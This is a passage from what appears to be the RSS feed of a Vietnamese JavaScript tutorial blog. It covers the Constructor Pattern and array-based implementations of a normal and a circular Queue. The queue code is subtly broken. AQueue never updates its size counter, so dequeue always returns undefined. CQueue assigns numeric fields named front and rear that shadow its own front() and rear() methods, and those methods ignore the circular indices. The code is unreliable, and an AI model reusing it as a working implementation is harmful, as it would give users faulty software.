operator">=</span> leg<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">about</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token keyword">this</span><span class="token punctuation">.</span>name <span class="token operator">+</span> <span class="token string">" has "</span> <span class="token operator">+</span> <span class="token keyword">this</span><span class="token punctuation">.</span>leg <span class="token operator">+</span> <span class="token string">" legs"</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token comment">// Usage:</span> <span class="token keyword">var</span> dog <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Animal</span><span class="token punctuation">(</span><span class="token string">"Dog"</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">var</span> bird <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Animal</span><span class="token punctuation">(</span><span class="token string">"Bird"</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>dog<span class="token punctuation">.</span><span class="token function">about</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => Dog has 4 legs</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>bird<span class="token punctuation">.</span><span class="token function">about</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => Bird has 2 legs</span></code></pre></div> <p>Trong class, có một hàm duy nhất và đặc biệt là <strong>constructor</strong>, đây là hàm khởi tạo của class. Trong hàm này bạn có thể định nghĩa các thuộc tính (<em>name</em>, <em>leg</em>) giống như sử dụng function và phương thức (<em>about</em>). Ngoài ra, bạn có thể định nghĩa các <strong>getter</strong>, <strong>setter</strong> và các hàm <strong>static</strong>.</p> <p>Trên đây là một số Constructor Pattern cơ bản. Tiếp theo, mình sẽ giới thiệu với các bạn về Module Pattern.</p> <p>Xin chào và hẹn gặp lại ở <a href="/js-pattern-2-module-pattern/">bài viết tiếp theo</a>, thân ái!</p> <h2 id="tham-khảo" style="position:relative;"><a href="#tham-kh%E1%BA%A3o" aria-label="tham khảo permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tham khảo</h2> <ul> <li><a href="https://addyosmani.com/resources/essentialjsdesignpatterns/book/#constructorpatternjavascript">Learning JavaScript Design Patterns</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes">Classes - JavaScript | MDN</a></li> </ul>[email protected]<![CDATA[Triển khai Queue trong JavaScript]]><![CDATA[Tiếp tục ý tưởng từ bài viết Triển khai Stack trong JavaScript với Array, Object hay Map, bài viết này sẽ tiếp tục triển khai Queue trong JavaScript. Tuy nhiên, mình sẽ chỉ triển…]]>https://completejavascript.com/trien-khai-queue-trong-javascript/https://completejavascript.com/trien-khai-queue-trong-javascript/<![CDATA[ES6]]><![CDATA[Thuật toán]]>Fri, 26 Jan 2018 22:30:58 GMT<p>Tiếp tục ý tưởng từ bài viết <a href="/trien-khai-stack-trong-javascript-voi-array-object-hay-map/">Triển khai Stack trong JavaScript với Array, Object hay Map</a>, bài viết này sẽ tiếp tục triển khai Queue trong JavaScript. Tuy nhiên, mình sẽ chỉ triển khai Queue với <a href="/array-la-gi-array-trong-javascript/">Array</a> mà bỏ qua <a href="/object-la-gi-object-trong-javascript/">Object</a> và <a href="/map-trong-javascript-thi-sao/">Map</a>. Thay vào đó, mình sẽ triển khai Queue theo hai cách là: <strong>queue thông thường</strong> và <strong>queue vòng</strong> (thực ra còn có cả <strong>queue ưu tiên</strong> nữa, nhưng cách triển khai khá phức tạp, nên mình sẽ không trình bày ở đây).</p> <p>Trước khi bắt tay vào triển khai code, mình cần phải tìm hiểu xem nó là cái gì, ứng dụng và các phép toán cơ bản trước. Khi đó, bạn không những triển khai Queue trong JavaScript được, mà còn có thể triển khai nó với các ngôn ngữ khác.</p> <p>Vì dù sao thì:</p> <blockquote> <p>A programming language is simply just a tool.</p> </blockquote> <h2 id="cơ-bản-về-queue" style="position:relative;"><a href="#c%C6%A1-b%E1%BA%A3n-v%E1%BB%81-queue" aria-label="cơ bản về queue permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cơ bản về Queue</h2> <h3 id="queue-là-gì" style="position:relative;"><a href="#queue-l%C3%A0-g%C3%AC" aria-label="queue là gì permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Queue là gì?</h3> <p>Queue là một kiểu cấu trúc dữ liệu tuyến tính, tuân theo quy luật FIFO (First In First Out). Hay "first-come, first-served", nghĩa là: "ai đến trước thì được phục vụ trước".</p> <p>Rõ ràng, cấu trúc dữ liệu này quá phổ biến và gần gũi với mọi người rồi. Vì đã là người văn minh thì khi đi đâu, làm gì thì cũng nên xếp hàng phải không?</p> <p><a href="https://pngtree.com/freepng/vector-cartoon-bus-station-queue_2749406.html"><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 64.84848484848484%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAAAsTAAALEwEAmpwYAAAD+klEQVQ4yx3Ja0xbZRgA4PPT6MD9GEblj1mMMbpb5pYtxmUa0WlMnDPGoAQn7IoBC0g3Sgu0axl0hRbaUxgttNBCoXDOobSlgFAuAzq3MFcumcgKk4tQEBgsi86e73tfE5+/D7MdHac7Cz/j+tytGweTE5knwh4mPBneh4jM1hNkMptZps5Uw7SZ7cxTxLilxT/+v6WV5Q8A0Bj7RzzdwnviN7cWira2F2XMgPVNerv1IwgJ59c549GmP38PNCLixlr0L0k0iq/kma59y+pKj1lV2hPLc5HwvwT/HptY2IsE5SvRJbw7GWq/Mzb/1v3+MnG8W4FMIDwI/X4VnRkpwzsBOfZxKlzbjMH6RgSFttPzZlZC3B0abBJUOP1rL6K4I0bnw35hyDelabqKOYYL26wiXydUZtzrtsuQaQglU1ff53Sw/0PK9yXFZPZTsXRWTopsSmKQHsHW1OPE58sl3mEFqfbXipdd9bTQbcIyXosFtmwiTUlAe9F7OD5gwdFAE2GUwyehJHQS8gcO0/zgAWrw7yM19W8Qg3c/Yau+EdOkOtLUk0Pm7ydReWMOeTHpS/Lqwf0xrVslOp1pEFJ9ClbJy6JMKqWuepYyZT2r4Bv/DX5qn4aZ1Xug8w7SkYku0HTkEqMxQ2wX1HQweJlGw8UwHEymwdZy+OLj96FSnUUbPQa6MiZAjUINzN5UOHIqG5jVTURudAduRxCmFkSYiCD4puYhn8sgKvclUmGqo7XVLHRwetBVy2m/hwMvqwRtVSdo9AIY5Vdocy1L8+RaeO3QBWCmtsaBHWqmoQdm2j5cSm2edNIY1FDDSDrR8WmkqFIAg0WAge4+KK5oAataBZHvngd7VT3IKnkwWeU0OMkDK9WDKdcMjM2yh9ZdZ0CwptCA/RzVBt+mbOgMKD0XiYmXEHWTjXylKacF5U5QVjfQuuZaWJIfB0dLNVwxaKjS9AMohTqQZurBcdMNDF+6G26qE6il5Wti7vlEzHMcIFdLskTFdZno5JzkvEVBTijyyPcVrbQ46KW1D0Zpz8NZYjQrSO6P74gXc1NF5aBAXVwnMXkEwhj7j8YULcdiaep3MTkrFT87k0ozC+RE6XLRkls+KBxyo3rAjTeGO7AkFEBNXxsWeuxY4m9AubcOz2oLUMLZUMU58BrvQCYl+yyekygxR2Z9VmoQ5vUODht6e7Ha70HW50U9zz/Tc9xjlcO5oXY6ljQNDRG5xfJIx/NzFRw/U8l7psvdbbNlza5HZr4zwmgqvEHWFsy5OzXz+trWbGK7v/uQs7nrcJcwmhT0/nLEXx9IXBqNvoSLmIAPcTcixuEOxuMyxuHQ5gv4GJ/DKdhFx5/G4wLu+g8XlsGfyS2jCwAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Hoạt động xếp hàng" title="Hoạt động xếp hàng" src="/static/49a067b9566c46ff65f480ec4541ce6b/7c811/line-up-1.png" srcset="/static/49a067b9566c46ff65f480ec4541ce6b/103f2/line-up-1.png 165w, /static/49a067b9566c46ff65f480ec4541ce6b/748ba/line-up-1.png 330w, /static/49a067b9566c46ff65f480ec4541ce6b/7c811/line-up-1.png 660w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></a></p> <h3 id="ứng-dụng-queue-trong-lập-trình" style="position:relative;"><a href="#%E1%BB%A9ng-d%E1%BB%A5ng-queue-trong-l%E1%BA%ADp-tr%C3%ACnh" aria-label="ứng dụng queue trong lập trình permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Ứng dụng Queue trong lập trình</h3> <p>Tương tự như Stack, Queue cũng là một cấu trúc dữ liệu được sử dụng khá nhiều trong lập trình như:</p> <ul> <li>Sử dụng trong thuật toán <a href="https://vi.wikipedia.org/wiki/T%C3%ACm_ki%E1%BA%BFm_theo_chi%E1%BB%81u_r%E1%BB%99ng">tìm kiếm theo chiều rộng BFS</a>.</li> <li><a href="https://hackernoon.com/understanding-js-the-event-loop-959beae3ac40">Event Queue</a> trong JavaScript.</li> <li>Hệ thống xử lý các lệnh trong máy tính (ứng dụng trong hệ điều hành, trình biên dịch), hàng đợi các tiến trình chờ được xử lý.</li> <li>Bộ nhớ đệm khi xử lý đa luồng, đa tiến trình (download, xử lý audio, xử lý video,...)</li> </ul> <h3 id="các-phép-toán-cơ-bản" style="position:relative;"><a href="#c%C3%A1c-ph%C3%A9p-to%C3%A1n-c%C6%A1-b%E1%BA%A3n" aria-label="các phép toán cơ bản permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Các phép toán cơ bản</h3> <p>Một số phép toán cơ bản với Queue là:</p> <ul> <li><strong>enqueue()</strong>: thêm một phần tử vào cuối của Queue khi nó <strong>chưa đầy</strong>. Nếu thành công thì trả về <strong>true</strong>, ngược lại thì trả về <strong>false</strong>.</li> <li><strong>dequeue()</strong>: lấy ra một phần tử ở đầu của Queue khi nó <strong>không rỗng</strong>. Nếu thành công thì trả về giá trị phần tử đó, ngược lại thì trả về <strong>undefined</strong>;</li> <li><strong>front()</strong>: trả về giá trị của phần tử <strong>ở đầu</strong> của Queue khi nó không rỗng (phần tử đó <strong>vẫn tồn tại</strong> trong Queue).</li> <li><strong>rear()</strong>: trả về giá trị của phần tử <strong>ở cuối</strong> của Queue khi nó không rỗng (phần tử đó <strong>vẫn tồn tại</strong> trong Queue).</li> <li><strong>isEmpty()</strong>: kiểm tra xem Queue có rỗng hay không. Nếu đúng thì trả về <strong>true</strong>, ngược lại thì trả về <strong>false</strong>.</li> <li><strong>isFull()</strong>: kiểm tra xem Queue có đầy hay không. Nếu đúng thì trả về <strong>true</strong>, ngược lại thì trả về <strong>false</strong>.</li> <li><strong>clear()</strong>: xoá <strong>hết các phần tử</strong> khỏi Queue.</li> </ul> <h2 id="triển-khai-queue-trong-javascript" style="position:relative;"><a href="#tri%E1%BB%83n-khai-queue-trong-javascript" aria-label="triển khai queue trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Triển khai Queue trong JavaScript</h2> <h3 id="triển-khai-queue-trong-javascript-với-array" style="position:relative;"><a href="#tri%E1%BB%83n-khai-queue-trong-javascript-v%E1%BB%9Bi-array" aria-label="triển khai queue trong javascript với array permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Triển khai Queue trong JavaScript với Array</h3> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">class</span> <span class="token class-name">AQueue</span> <span class="token punctuation">{</span> <span class="token function">constructor</span><span class="token punctuation">(</span><span class="token parameter">capacity</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>data <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>capacity <span class="token operator">=</span> capacity<span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>size <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">isFull</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token keyword">this</span><span class="token punctuation">.</span>size <span class="token operator">===</span> <span class="token keyword">this</span><span class="token punctuation">.</span>capacity<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">isEmpty</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token keyword">this</span><span class="token punctuation">.</span>size <span class="token operator">===</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">enqueue</span><span class="token punctuation">(</span><span class="token parameter">item</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">isFull</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>data<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span>item<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token boolean">true</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">dequeue</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">isEmpty</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token keyword">undefined</span><span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token keyword">this</span><span class="token punctuation">.</span>data<span class="token punctuation">.</span><span class="token function">shift</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">front</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">isEmpty</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token keyword">undefined</span><span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token keyword">this</span><span class="token punctuation">.</span>data<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">rear</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">isEmpty</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token keyword">undefined</span><span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token keyword">this</span><span class="token punctuation">.</span>data<span class="token punctuation">[</span><span class="token keyword">this</span><span class="token punctuation">.</span>size <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">clear</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>data<span class="token punctuation">.</span>length <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>size <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <p>Cách triển khai Queue trong JavaScript cũng tương tự như triển khai Stack trong JavaScript vậy. Chỉ khác 3 chỗ là:</p> <ul> <li>Nếu như Stack sử dụng <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/pop">pop()</a> để lấy ra phần tử <strong>cuối cùng</strong>, thì Queue sử dụng <a href="https://developer.mozilla.org/vi/docs/Web/JavaScript/Reference/Global_Objects/Array/shift">shift()</a> để lấy ra phần tử <strong>đầu tiên</strong>.</li> <li>Stack chỉ cho phép trả về giá trị của phần tử đầu tiên với <strong>peek()</strong>, còn Queue cho phép trả về giá trị phần tử đầu tiên với <strong>front()</strong> và phần tử cuối cùng với <strong>rear()</strong>.</li> <li>Ngoài ra, trong phần Queue này, mình sử dụng một biến trung gian <code>this.size</code> để quản lý kích thước của Queue thay vì sử dụng <code>this.data.length</code> như phần Stack. Vì mình thấy rằng, nếu như mỗi lần cần truy cập kích thước của Queue mà dùng <code>this.data.length</code> sẽ khá lâu.</li> </ul> <h3 id="triển-khai-queue-vòng-với-array" style="position:relative;"><a href="#tri%E1%BB%83n-khai-queue-v%C3%B2ng-v%E1%BB%9Bi-array" aria-label="triển khai queue vòng với array permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Triển khai Queue vòng với Array</h3> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">class</span> <span class="token class-name">CQueue</span> <span class="token punctuation">{</span> <span class="token function">constructor</span><span class="token punctuation">(</span><span class="token parameter">capacity</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>data <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>capacity <span class="token operator">=</span> capacity<span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>size <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>front <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>rear <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">isFull</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token keyword">this</span><span class="token punctuation">.</span>size <span class="token operator">===</span> <span class="token keyword">this</span><span class="token punctuation">.</span>capacity<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">isEmpty</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token keyword">this</span><span class="token punctuation">.</span>size <span class="token operator">===</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">enqueue</span><span class="token punctuation">(</span><span class="token parameter">item</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">isFull</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>data<span class="token punctuation">[</span><span class="token keyword">this</span><span class="token punctuation">.</span>rear<span class="token punctuation">]</span> <span class="token operator">=</span> item<span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>rear <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>rear <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">)</span> <span class="token operator">%</span> <span class="token keyword">this</span><span class="token punctuation">.</span>capacity<span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>size<span class="token operator">++</span><span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token boolean">true</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">dequeue</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">isEmpty</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token keyword">undefined</span><span class="token punctuation">;</span> <span class="token keyword">let</span> item <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>data<span class="token punctuation">[</span><span class="token keyword">this</span><span class="token punctuation">.</span>front<span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>front <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>front <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">)</span> <span class="token operator">%</span> <span class="token keyword">this</span><span class="token punctuation">.</span>capacity<span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>size<span class="token operator">--</span><span class="token punctuation">;</span> <span class="token keyword">return</span> item<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">front</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">isEmpty</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token keyword">undefined</span><span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token keyword">this</span><span class="token punctuation">.</span>data<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">rear</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">isEmpty</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token keyword">undefined</span><span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token keyword">this</span><span class="token punctuation">.</span>data<span class="token punctuation">[</span><span class="token keyword">this</span><span class="token punctuation">.</span>size <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">clear</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>data<span class="token punctuation">.</span>length <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>size <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>front <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>rear <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <p>Queue vòng cũng tương tự như Queue thông thường. Tuy nhiên, bạn cũng có thể thấy là mình không sử dụng phương thức <strong>push()</strong> hay <strong>shift()</strong> nữa.</p> <p>Thực chất, khi mình <strong>enqueue()</strong> thì kích thước của Array tự mở rộng ra, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> a <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">;</span> a<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span> a<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => (2) [1, 2]</span></code></pre></div> <p>Còn khi <strong>dequeue()</strong>, do mình không sử dụng 